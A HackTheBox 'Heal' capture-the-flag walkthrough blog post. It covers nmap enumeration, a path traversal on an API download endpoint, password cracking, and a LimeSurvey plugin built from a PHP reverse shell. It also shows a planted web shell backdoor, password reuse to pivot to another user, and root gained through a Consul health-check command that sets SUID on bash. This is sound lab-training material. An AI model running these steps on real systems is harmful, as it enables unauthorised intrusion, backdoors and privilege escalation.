HackTheBox | Heal

In this walkthrough, I demonstrate how I obtained complete ownership of Heal on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Medium Challenge
Owned Heal from Hack The Box!
I have just owned machine Heal from Hack The Box

Nmap Results

# Nmap 7.94SVN scan initiated Tue Dec 17 01:48:19 2024 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.253.212
Nmap scan report for 10.129.253.212
Host is up (0.093s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 17 01:49:04 2024 -- 1 IP address (1 host up) scanned in 45.36 seconds
💡
Don't miss an opportunity to find some breadcrumbs and interesting information in the initial nmap scan output. We can see the redirect to http://heal.htb in the HTTP output, so let's get that added to our /etc/hosts file.
echo -e '10.129.253.212\t\theal.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/80

Walking the Application

Walking the “happy path” · Pwning OWASP Juice Shop
ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.

Test the Resume Builder

We don't have an account to sign in with, so let's sign up
There's an error when trying to sign up
Checking Burp, I see it's trying to reach api.heal.htb, so I need to add this to my /etc/hosts file as well
echo -e '10.129.253.212\t\tapi.heal.htb' | sudo tee -a /etc/hosts
Having done that, I'm now logged in and can use the resume builder
ℹ️
Remember, that we're not doing anything malicious in this phase, so we'll just fill out the form with benign, junk data.
Test the PDF export function
Previewing the downloaded PDF



Test the Survey Function

Click around the app some more, test the survey functionality
Another virtual host to add ...
echo -e '10.129.253.212\t\ttake-survey.heal.htb' | sudo tee -a /etc/hosts
Fill out the survey with benign, junk data
Return to the site root after taking the survey
At this point, we've tested all of the clickable areas and input points that a normal user would be expected to use. Thus, we have concluded the initial walk of the application, and should go back and review our Burp / proxy request history as an initial first step to uncover potential findings.



Penetration Testing

What We Know So Far

  • heal.htb
    • Viewing the source we see it was created with create-react-app
    • Not seeing any specific version numbers
    • PDF creation utility
      • Fill out HTML form and create a PDF
        Screenshot_20241217_133301.png
        • Uses wkhtmltopdf 0.12.6 to generate the PDF
    • Clicking /profile loads http://api.heal.htb/profile
    • Navigating to the site root load http://api.heal.htb/resume
    • Taking the survey navigates to a static survey ID of 552933 at http://take-survey.heal.htb/index.php/
  • api.heal.htb
    • In Burp, I can see the following endpoints:
      • /signin
      • /signup
      • /resume
      • /profile
      • /exports
      • /download
      • /logout
  • take-survey.heal.htb
    • At the site root, we see ralph@heal.htb
    • The site is run on LimeSurvey, not seeing any specific version
We've got a pretty substantial attack surface mapped out so far with more opportunities to research things like:

☑️ CVEs in dependencies such as wkhtmltopdf and ruby versions
☑️ Enumerate more API endpoints, directories, and files
☑️ Enumerate more virtual hosts
☑️ Potential path traversal in the file download function
☑️ Injection attacks, such as the HTML to PDF converter, login form, URL query parameters, etc
☑️ Password spraying against known usernames

We want to work in order from least amount of time and effort up, with the goal being to establish a foothold on the target. So, we'll start with the known CVE research first. But before we do this, we'll ensure we've gathered enough meaningful intel about the target.



Gobuster Enumeration

gobuster vhost --append-domain --domain 'heal.htb' \
-u http://10.129.253.212 \
-w /usr/share/seclists/Discovery/DNS/namelist.txt \
-t 200 -o vhost.txt
Found: api.heal.htb Status: 200 [Size: 12515]

Virtual Host enumeration, nothing new discovered

ℹ️
Using gobuster dir, no additional attack surface was discovered against any of the known virtual hosts.



CVE Research

There's a potential SSRF exploit for the version of wkhtmltopdf installed on the target
ℹ️
I tried some simple payloads injecting <iframe+src=\"http://heal.htb\"> into the {"content": "....."} portion of the JSON data, but didn't see the page content rendering on the final PDF.

The plan is to come back to this later and try the next easiest win, which is the potential path traversal.
Some potential CVEs for LimeSurvey as well, but difficult to determine without knowing the version number



Testing Path Traversal

TOKEN='Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ'
curl -s -H "$TOKEN" 'http://api.heal.htb/download?filename=../../../../../../../../../../var/lib/dhcp/dhclient.eth0.leases'
What a pleasant surprise! 😈



Finding Interesting Files

ℹ️
I played around with different paths for a while and found some virtual host configurations for heal.htb and api.heal.htb, but both of those are being proxied to internal servers and I can't get access remote files via URL. Oddly, I couldn't find /etc/nginx/sites-enabled/take-survey.heal.htb or different variations in the spelling or things like limesurvey.htb.

I hunted around for SSH files, logs, and lots of other things, and can't read /proc, so I turned to Microsoft CoPilot for some inspiration.
Work my way up the directory hierarchy until I find something
Configuring Rails Applications — Ruby on Rails Guides
Configuring Rails ApplicationsThis guide covers the configuration and initialization features available to Rails applications.After reading this guide, you will know: How to adjust the behavior of your Rails applications. How to add additional code to be run at application start time.

Referencing the source, there's a ton of information in here for enumeration

💡
We can be pretty certain that interesting files will fall under config/, so use CTRL + F and search for any files in the documentation under that path that might contain interesting information
Databases are usually interesting for uncovering more data (also note results from CTRL + F highlighted)
There we go!
Store the hash for ralph@heal.htb in a file for cracking
Cracked!



Logging into LimeSurvey

The password for ralph@heal.htb did not work for SSH access. It does, however, work for logging into the resume builder app, which makes sense, since that ties into the API. It also works for logging into LimeSurvey, as we'd expect, since Ralph is the admin per the landing page.







Exploit

LimeSurvey Plugin RCE

LimeSurvey/plugins/Demo/DemoDateSetting at master · LimeSurvey/LimeSurvey
🔥 LimeSurvey – A powerful, open-source survey platform. A free alternative to SurveyMonkey, Typeform, Qualtrics, and Google Forms, making it simple to create online surveys and forms with unmatched…

We can find an example plugin here

💡
The plugin itself is just PHP along with the config.xml that ensures compatibility with LimeSurvey.
mkdir PwnPlugin && cd PwnPlugin

Make a directory for the plugin source

wget https://github.com/ivan-sincek/php-reverse-shell/raw/refs/heads/master/src/reverse/php_reverse_shell.php -O PwnPlugin.php

The PHP source file needs to match the plugin directory name

sed "s/Shell('127.0.0.1', 9000)/Shell('10.10.14.195', 443)/g"

Update the PHP reverse shell with VPN IP and desired port

wget https://github.com/LimeSurvey/LimeSurvey/raw/refs/heads/master/plugins/Demo/DemoDateSetting/config.xml

Download the sample config file

sed -i 's/DemoDateSetting/PwnPlugin/g' config.xml

Find and replace with our plugin name

sed -i 's/<version>5<\/version>/<version>6<\/version>/g' config.xml

Update for the installed version on the target

cd .. && zip -r PwnPlugin.zip PwnPlugin

Zip up the plugin sour

Plugin installed!
sudo rlwrap nc -lnvp 443

Start a TCP listener on the port specified in the PHP reverse shell

Click on your installed plugin name



Plant a Backdoor

The environment is a bit unstable and getting back in requires re-uploading the module, so we'll plant a backdoor for an easy way back in, in case the shell breaks.

wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php -O sh.php

Download web shell

sudo python3 -m http.server 80

Host it via HTTP server

curl -s http://10.10.14.195/sh.php -o /var/www/limesurvey/sh.php

Download the web shell to the site root





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Sorry, user www-data may not run sudo on heal.



Users and Groups

Local Users

ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
ron:x:1001:1001:,,,:/home/ron:/bin/bash    

Local Groups

ralph:x:1000:
ron:x:1001:    



Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:86:16 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.108.197/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 3314sec preferred_lft 3314sec
    inet6 dead:beef::250:56ff:fe94:8616/64 scope global dynamic mngtmpaddr 
       valid_lft 86399sec preferred_lft 14399sec
    inet6 fe80::250:56ff:fe94:8616/64 scope link 
       valid_lft forever preferred_lft forever    

Open Ports

tcp   LISTEN     0      4096        127.0.0.1:8302       0.0.0.0:*
tcp   LISTEN     0      4096        127.0.0.1:8300       0.0.0.0:*
tcp   LISTEN     0      4096        127.0.0.1:8301       0.0.0.0:*
tcp   LISTEN     0      4096        127.0.0.1:8503       0.0.0.0:*
tcp   LISTEN     0      4096        127.0.0.1:8500       0.0.0.0:*
tcp   LISTEN     0      4096        127.0.0.1:8600       0.0.0.0:*
tcp   LISTEN     0      511         127.0.0.1:3000       0.0.0.0:*
tcp   LISTEN     0      1024        127.0.0.1:3001       0.0.0.0:*
tcp   LISTEN     0      244         127.0.0.1:5432       0.0.0.0:*    



Processes and Services

Interesting Processes

root         962  0.6  2.5 1357220 102864 ?      Ssl  22:47   0:23 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d
ralph        979  0.0  0.0   7372  3528 ?        Ss   22:47   0:00 /bin/bash run_resume_api.sh
ralph        981  0.0  0.1  11464  7636 ?        Ss   22:47   0:00 /bin/bash run_resume_app.sh
ralph       1431  0.0  1.3 1090352 51736 ?       Sl   22:47   0:00  \_ npm start
ralph       1446  0.0  0.0   2892   984 ?        S    22:47   0:00      \_ sh -c react-scripts start
ralph       1447  0.0  1.1 791276 43960 ?        Sl   22:47   0:00          \_ node /home/ralph/resume-builder/node_modules/.bin/react-scripts start
ralph       1454  0.2  4.6 1395932 182768 ?      Sl   22:47   0:11              \_ node /home/ralph/resume-builder/node_modules/react-scripts/scripts/start.js
postgres    1034  0.0  0.7 218360 30284 ?        Ss   22:47   0:00 /usr/lib/postgresql/14/bin/postgres -D /var/lib/postgresql/14/main -c config_file=/etc/postgresql/14/main/postgresql.conf   



Interesting Files

/var/www/limesurvey/application/config/config.php

return array(
        'components' => array(
                'db' => array(
                        'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
                        'emulatePrepare' => true,
                        'username' => 'db_user',
                        'password' => 'AdmiDi0_pA$$w0rd',
                        'charset' => 'utf8',
                        'tablePrefix' => 'lime_',
                ),

                 'session' => array (
                        'sessionName'=>'LS-ZNIDJBOXUNKXWTIP',
                 ),

                'urlManager' => array(
                        'urlFormat' => 'path',
                        'rules' => array(
                        ),
                        'showScriptName' => true,
                ),

        ),
        'config'=>array(
                'debug'=>0,


        )
);
/* End of file config.php */
/* Location: ./application/config/config.php */    





Privilege Escalation

Lateral to Ron

Using the password found in the LimeSurvey config.php file, I tested the password first for ralph and then for ron, which worked.
💡
Whenever you find information such as a password, it's always a good idea to check if it is re-used as another user's password on the system or another service.

We can use this password to SSH in as ron. Having pivoted, we repeat the post-exploit enumeration process again as ron to see what we have access to.



Researching the Interesting Process

ℹ️
After some basic enumeration, I didn't find any easy wins as ron. But, ever since landing on the box, one process running as root has stuck out at me.

/usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d

I'm not too familiar with this program, but it definitely isn't something default on the box and being in /usr/local/bin is almost proof of this.
Microsoft CoPilot with some good info. I also found that we can invoke /usr/local/bin/consul to enumerate more as well.
Version 1.19.2
💡
As I look at the options for the consul binary, I see some potential for command execution. And since the consul process is running as root, any commands we execute on the box will run with elevated privileges.



Code Execution via Consul

I tried the /usr/loca/bin/consul exec command, but I didn't see any evidence that the commands were being executed. Researching this more, I found that this configuration is disabled by default on new installations.

Looking for ways to get code execution via command or script, my research led me to some configurations that should ways I should be able to execute commands by registering a service.

Run a custom command using consul hashicorp json file
i set up a 3 consul servers and 1 nginx and linked them in one cluster and everything is ok on the web ui . i would like to run a custom .JSON config file to run this command &quot;ss -nlt&quot; in…
Define services | Consul | HashiCorp Developer
Learn how to define services so that they are discoverable in your network.
Any time I try and register the service, I get this error ...
Get error: Unexpected response code: 400 (Invalid check: TTL must be > 0 for TTL checks) when register service with args check
Hi @chiyt27, This is a known bug in Consul. The problem is explained in detail at service script health checks not working · Issue #6923 · hashicorp/consul · GitHub. As a workaround, you can register the service to Consul using the /agent/service/register API. demo-svc-api-reg.json { “name”: “demo-svc”, “tags”: [ “default” ], “Address”: “demo-service.default.svc.cluster.local”, “port”: 8080, “checks”: [ { “id”: “demo-args”, “name”: “args check”, “args”:…

And, I find that it appears to be a known bug, where we have to use the HTTP API

Service - Agent - HTTP API | Consul | HashiCorp Developer
The /agent/service endpoints interact with services on the local agent in Consul.

HTTP API documentation for registering a service with a health check script

{
        "ID": "pwn",
        "Name": "pwn",
        "Port": 8080,
        "check": {
                "args": ["/bin/bash", "-c", "chmod +s /bin/bash"],
                "interval": "3s",
                "timeout": "1s"
        }
}

/tmp/pwn.json

curl -X PUT -H 'Content-Type: application/json' \
--data @/tmp/pwn.json http://127.0.0.1:8500/v1/agent/service/register
The command is run instantly, we can now abuse the SUID permissions to become root



Becoming Root

/bin/bash -ip
euid=0(root)



Flags

User

678ed8af2f74479b897069917e9c2988    

Root

f1a813c3110d00ea58ba536f6718bab7    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.